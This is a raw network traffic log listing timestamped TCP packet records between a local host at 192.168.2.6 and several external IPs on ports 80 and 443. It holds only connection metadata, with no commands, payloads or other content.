Dec 7, 2024 00:15:45.391239882 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.391251087 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.391279936 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.391303062 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.391870975 CET	49819	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.391880035 CET	443	49819	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.404140949 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.404192924 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.404284000 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.404299021 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.404397011 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.447989941 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:45.523232937 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.523258924 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.523351908 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.523375034 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.524075985 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.529417992 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.529437065 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.529524088 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.529531002 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.529694080 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.534964085 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.534982920 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.535026073 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.535032034 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.535136938 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.537278891 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.537307024 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.537379980 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.537398100 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.537422895 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.537447929 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.540924072 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.540940046 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.540991068 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.540996075 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.541026115 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.541055918 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.543832064 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.543853998 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.543910980 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.543926001 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.543996096 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.547060966 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.547077894 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.547144890 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.547151089 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.547243118 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.547296047 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.547303915 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.547339916 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.547341108 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.547363997 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.547389984 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.552871943 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.552892923 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.552967072 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.552974939 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.553170919 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.553780079 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.553848982 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.553853989 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.553878069 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.553950071 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.555419922 CET	49817	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.555433989 CET	443	49817	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.565192938 CET	49816	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.565212965 CET	443	49816	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.765784025 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:45.765851021 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:45.765880108 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:45.765893936 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:45.765919924 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:45.765938044 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:45.766274929 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:45.766287088 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:45.766298056 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:45.766310930 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:45.766343117 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:45.766377926 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:45.767007113 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:45.767018080 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:45.767096043 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:45.767294884 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:45.767374039 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:45.774243116 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:45.774321079 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:45.800445080 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.800489902 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.800601006 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.801451921 CET	49831	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.801465988 CET	443	49831	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.840709925 CET	49832	443	192.168.2.6	2.16.158.83
Dec 7, 2024 00:15:45.840749979 CET	443	49832	2.16.158.83	192.168.2.6
Dec 7, 2024 00:15:45.841489077 CET	49832	443	192.168.2.6	2.16.158.83
Dec 7, 2024 00:15:45.841927052 CET	49832	443	192.168.2.6	2.16.158.83
Dec 7, 2024 00:15:45.841936111 CET	443	49832	2.16.158.83	192.168.2.6
Dec 7, 2024 00:15:45.887348890 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:45.887439013 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:45.909096956 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.909145117 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.909682989 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.909921885 CET	49833	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.909926891 CET	443	49833	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.942934036 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.942974091 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.943758965 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.944185972 CET	49834	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:45.944196939 CET	443	49834	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:45.958353043 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:45.958441973 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:45.958447933 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:45.958524942 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:45.962543011 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:45.962614059 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:45.962754011 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:45.962965965 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:45.970839977 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:45.970920086 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:45.973700047 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:45.979087114 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:45.979212046 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:45.979238987 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:45.979264975 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:45.987351894 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:45.987416029 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:45.987442970 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:45.987476110 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:45.995599031 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:45.995723963 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:45.995754004 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:45.995839119 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.003894091 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.003982067 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.003985882 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.004053116 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.012170076 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.012224913 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.012255907 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.012280941 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.020425081 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.020503044 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.020515919 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.020545959 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.028628111 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.028703928 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.028750896 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.028795004 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.036525965 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.036586046 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.036621094 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.036681890 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.044181108 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.044266939 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.141077995 CET	443	49825	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:46.141653061 CET	49825	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:46.141671896 CET	443	49825	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:46.142163038 CET	49825	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:46.142168045 CET	443	49825	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:46.149781942 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.149849892 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.149857998 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.150126934 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.153914928 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.153964043 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.155071974 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.155122995 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.155147076 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.155194998 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.162880898 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.162941933 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.162961960 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.163072109 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.166821957 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:46.166892052 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:46.167412043 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:46.167432070 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:46.169397116 CET	49828	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:46.169409037 CET	443	49828	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:46.170624971 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.170682907 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.170727015 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.170782089 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.175488949 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.175546885 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.175600052 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.175664902 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.180301905 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.180349112 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.180351973 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.180550098 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.185010910 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.185074091 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.185111046 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.185152054 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.189721107 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.189775944 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.189870119 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.189924955 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.194447994 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.194539070 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.194574118 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.194674969 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.199285984 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.199338913 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.199376106 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.199428082 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.203984976 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.204066992 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.204113960 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.208770037 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.208822966 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.208884001 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.208956957 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.213567019 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.213624001 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.213702917 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.213776112 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.218274117 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.218327045 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.218369007 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.218451977 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.223012924 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.223102093 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.223138094 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.223206043 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.227694035 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.227754116 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.227811098 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.227894068 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.232489109 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.232537985 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.232564926 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.232676029 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.237292051 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.237344027 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.237405062 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.237493992 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.241970062 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.242022038 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.242027044 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.242156029 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.341986895 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.342041969 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.342071056 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.342118979 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.343969107 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.344018936 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.344118118 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.344161987 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.346425056 CET	443	49826	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:46.348162889 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.348216057 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.348294973 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.348360062 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.349266052 CET	49826	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:46.349280119 CET	443	49826	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:46.349833012 CET	49826	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:46.349838018 CET	443	49826	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:46.349879026 CET	443	49827	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:46.350444078 CET	49827	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:46.350459099 CET	443	49827	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:46.351030111 CET	49827	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:46.351037979 CET	443	49827	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:46.352380991 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.352446079 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.352483034 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.352567911 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.356496096 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.356556892 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.356573105 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.356609106 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.360328913 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.360382080 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.360426903 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.360551119 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.364103079 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.364181995 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.364207029 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.364218950 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.367912054 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.367966890 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.367970943 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.368060112 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.371553898 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.371645927 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.371684074 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.371725082 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.375046015 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.375108004 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.375147104 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.375258923 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.378659964 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.378716946 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.378751040 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.378875017 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.382195950 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.382244110 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.382325888 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.382364988 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.385715008 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.385823965 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.385845900 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.385864019 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.389373064 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.389480114 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.389484882 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.389580965 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.392821074 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.392870903 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.392924070 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.392966032 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.394987106 CET	443	49829	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:46.396053076 CET	49829	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:46.396065950 CET	443	49829	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:46.396377087 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.396413088 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.396467924 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.396506071 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.397792101 CET	49829	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:46.397798061 CET	443	49829	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:46.399950981 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.400000095 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.400037050 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.400121927 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.403459072 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.403501034 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.403544903 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.403585911 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.406996012 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.407064915 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.407176971 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.407361984 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.410582066 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.410640001 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.410654068 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.410686970 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:46.414149046 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:46.414221048 CET	49823	80	192.168.2.6	185.215.113.206
